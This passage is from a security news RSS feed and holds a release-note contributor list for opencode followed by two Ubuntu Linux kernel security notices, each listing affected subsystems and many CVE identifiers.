<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>:
<ul>
<li>fix(nix): relax Bun version check for desktop build (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877704946" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36767/hovercard" href="https://github.com/anomalyco/opencode/pull/36767">#36767</a>)</li>
<li>fix(nix): restore desktop integration (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897416572" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37197" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37197/hovercard" href="https://github.com/anomalyco/opencode/pull/37197">#37197</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>:
<ul>
<li>fix(app): show keybind tooltips on prompt input controls (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924806992" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37824" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37824/hovercard" href="https://github.com/anomalyco/opencode/pull/37824">#37824</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>:
<ul>
<li>feat(opencode): use adaptive thinking effort for kimi family on anthr… (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920812833" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37696" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37696/hovercard" href="https://github.com/anomalyco/opencode/pull/37696">#37696</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8566-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security iss...]]></description>
<link>https://tsecurity.de/de/3681568/unix-server/usn-8566-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681568/unix-server/usn-8566-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 17:46:50 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - PSP security protocol;
  - ARM64 architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - DRBD Distributed Replicated Block Device drivers;
  - Ublk userspace block driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - EDAC drivers;
  - EFI core;
  - FWCTL subsystem;
  - GPU drivers;
  - HID subsystem;
  - I3C subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - x86 platform drivers;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - TCM subsystem;
  - TTY drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - USB Type-C support driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - DRM TTM subsystem;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Netfilter;
  - Network traffic control;
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - Cryptographic library;
  - Memory management;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - MAC80211 subsystem;
  - Multipath TCP;
  - Open vSwitch;
  - Phonet protocol;
  - RDS protocol;
  - SCTP protocol;
  - SMC sockets;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - XFRM subsystem;
  - Integrity Measurement Architecture(IMA) framework;
  - SELinux security module;
  - ALSA framework;
  - HD-audio driver;
  - QCOM ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - KVM subsystem;
(CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111,
CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116,
CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147,
CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156,
CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164,
CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172,
CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318,
CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322,
CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934,
CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943,
CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951,
CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955,
CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959,
CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963,
CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968,
CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977,
CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005,
CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009,
CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013,
CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017,
CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021,
CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025,
CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029,
CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033,
CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037,
CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053,
CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057,
CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061,
CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089,
CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097,
CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101,
CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105,
CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113,
CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117,
CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125,
CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129,
CVE-2026-53130, CVE-2026-53174, CVE-2026-53277, CVE-2026-53278,
CVE-2026-53279, CVE-2026-53280, CVE-2026-53281, CVE-2026-53282,
CVE-2026-53283, CVE-2026-53284, CVE-2026-53285, CVE-2026-53286,
CVE-2026-53287, CVE-2026-53288, CVE-2026-53289, CVE-2026-53290,
CVE-2026-53291, CVE-2026-53292, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53297, CVE-2026-53298,
CVE-2026-53299, CVE-2026-53300, CVE-2026-53301, CVE-2026-53302,
CVE-2026-53303, CVE-2026-53304, CVE-2026-53305, CVE-2026-53306,
CVE-2026-53307, CVE-2026-53308, CVE-2026-53309, CVE-2026-53310,
CVE-2026-53311, CVE-2026-53312, CVE-2026-53313, CVE-2026-53314,
CVE-2026-53315, CVE-2026-53316, CVE-2026-53317, CVE-2026-53318,
CVE-2026-53319, CVE-2026-53320, CVE-2026-53321, CVE-2026-53322,
CVE-2026-53323, CVE-2026-53324, CVE-2026-53357, CVE-2026-53358,
CVE-2026-53360, CVE-2026-53364, CVE-2026-53365)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8567-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 17:46:49 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
